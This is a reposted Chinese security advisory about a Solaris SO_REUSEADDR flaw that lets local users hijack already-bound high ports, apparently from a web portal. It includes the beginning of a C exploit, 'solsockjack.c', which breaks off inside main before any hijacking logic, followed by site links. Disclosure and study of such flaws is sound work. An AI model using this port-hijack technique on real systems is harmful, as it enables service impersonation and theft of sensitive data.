Sun Solaris非特权网络端口劫持漏洞
2008-04-09 04:16:55来源:互联网 阅读 ()
发布日期:2005-07-07
更新日期:2005-07-07
受影响系统:
Sun Solaris 9.0_x86描述:
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
AVAYA CMS Server 9.0
AVAYA CMS Server 13.0
AVAYA CMS Server 12.0
AVAYA CMS Server 11.0
AVAYA Interactive Response 1.3
AVAYA Interactive Response 1.2.1
BUGTRAQ ID: 13241
Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。
Solaris在使用SO_REUSEADDR时存在漏洞,Kernel可能会支持任何套接字绑定操作,这样如果已经使用了特定的IP地址的话,恶意的套接字可能绑定到已经绑定的端口。
本地非特权用户可能利用这个漏洞在非特权端口上启动进程。通过劫持端口,这些进程可以用作在该端口上运行的修改过的或植入木马版本的服务,这可能导致服务破坏,泄漏敏感信息,或入侵远程系统。
<*来源:c0ntexb (c0ntexb@gmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112067885917420&w=2
http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-57766-1
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* solsockjack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <arpa/inet.h>
#define BAD "!@#$%^&*()-_= []{};':\",/<>?\\|`~ \
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" #define DEFHOST \
"localhost" #define MAX_INCONN 1
#define PORT 1241 /* Nessus */
#define SYSTEM "SunOS"
#define BL "\x1B[1;34m"
#define NO "\x1B[0m"
#define PI "\x1B[35m"
#define PU "\x1B[1;35m"
#define RE "\x1B[1;31m"
#define WH "\x1B[1;37m"
#define YE "\x1B[1;33m"
void
banner(void)
{
fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket Hijack \
Exploit\n", YE, NO);
fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already bound \
socket\n", YE, NO);
fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate a service \
that\n", YE, NO);
fprintf(stderr, "%s[-] %sis already running on a port greater than 1024, \
making\n", YE, NO);
fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial task to \
perform.\n", YE, NO);
fprintf(stderr, "%s[-] %sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n", YE, \
WH, NO);
_exit(EXIT_SUCCESS);
}
void
usage(int argc, char **argv)
{
fprintf(stderr, "%s[-] %s Usage:\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket to\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack of\n", YE, \
NO); fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO);
fprintf(stderr, "%s[-] %s%s -h 10.1.1.215 -p 1241\n\n", YE, NO, argv[0]);
_exit(EXIT_FAILURE);
}
void
checkerr(char *isvuln)
{
free(isvuln);
puts("Not today!");
_exit(EXIT_FAILURE);
}
void
jackerr(char *vulnerable)
{
free(vulnerable);
_exit(EXIT_FAILURE);
}
char
*checksys(char *isvuln)
{
struct utsname name;
if(uname(&name) < 0) {
puts("uname failed");
}
isvuln = malloc(6);
if(!isvuln) {
perror("malloc");
_exit(EXIT_FAILURE);
}
if((name.sysname == NULL) || (strlen(name.sysname) < 1) || \
(strlen(name.sysname) > 5)) { checkerr(isvuln);
}
memcpy(isvuln, name.sysname, strlen(name.sysname));
if(!isvuln) {
checkerr(isvuln);
}
return(isvuln);
}
int
main(int argc, char **argv)
{
int inbuf, jacksock, opts, solvuln;
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash